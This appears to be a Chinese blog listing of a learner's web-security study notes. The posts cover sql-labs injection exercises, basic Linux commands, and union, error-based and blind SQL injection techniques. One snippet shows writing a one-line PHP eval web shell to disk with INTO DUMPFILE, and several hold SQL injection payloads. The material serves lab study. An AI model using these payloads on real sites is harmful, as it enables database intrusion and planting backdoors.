- 博客(4)
- 收藏
- 关注
RSS订阅原创 2021-04-02
sql-labs新手详解第1-5关第一关第二关第三关第四关第五关第一关1.首先按照提示输入一个值作为id?id=1显示用户的用户名和密码2.输入’判断闭合?id=1‘系统报错说明本来存在单引号’ ’3.用‘%23’即‘#’，或者‘ - - +’，将单引号注释掉?id=1'%23回显正常4.用order by判断字段数?id=1'order by 1%23?id=1'order by 2%23?id=1'order by 3%23?id=1'order by 4%23尝试到4
2021-04-02 18:34:46
172
原创 2021-03-31
day 3linux简单命令学习：磁盘管理 ：ls 用于显示当前目录下内容ls -a 显示所有ls -l 将文件型态、权限、拥有者、文件大小等资讯详细列出ls -t 文件按时间排序显示 cd 切换目录 cd / 切换到根目录 cd ~切换到home目录 pwd 显示工作目录文件管理：mkdir 创建目录touch 创建文件cat 显示文件内容more 显示文件内容tai
2021-03-31 18:49:46
58
1
原创 2021-03-27
day2联合注入要点：1.判断闭合方式，构造闭合：字符型构造闭合：?id=(‘1’)’–+2.判断字段数 order by3.找回显点写文件函数：into outfiledumpfile条件：1.有写的权限2.有绝对路径简单木马文件：select 1’,<?php@eval($_GET[1]);?>'3into dumpfile 路径强制转换：以字符开头强制转换为0，如’admin123’=0；以数字开头强制转换为开头数字，如’1admin23’=1；被过滤时的常规
2021-03-27 20:19:35
97
原创 网安web笔记
day1联合注入：order by 判断字段数；select xxx from xxx where xxx union select 1，2，…(字段数)；报错注入：select updatexml(1,(concat(0x7e,(命令),0x7e)),1);盲注：Bool：username=‘admin’ and ascii (substr((xxx (chema_name)from xxx),1,1))=n;时间：if(ascii (substr((xxx (chema_name)fr
2021-03-22 13:46:17
78
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人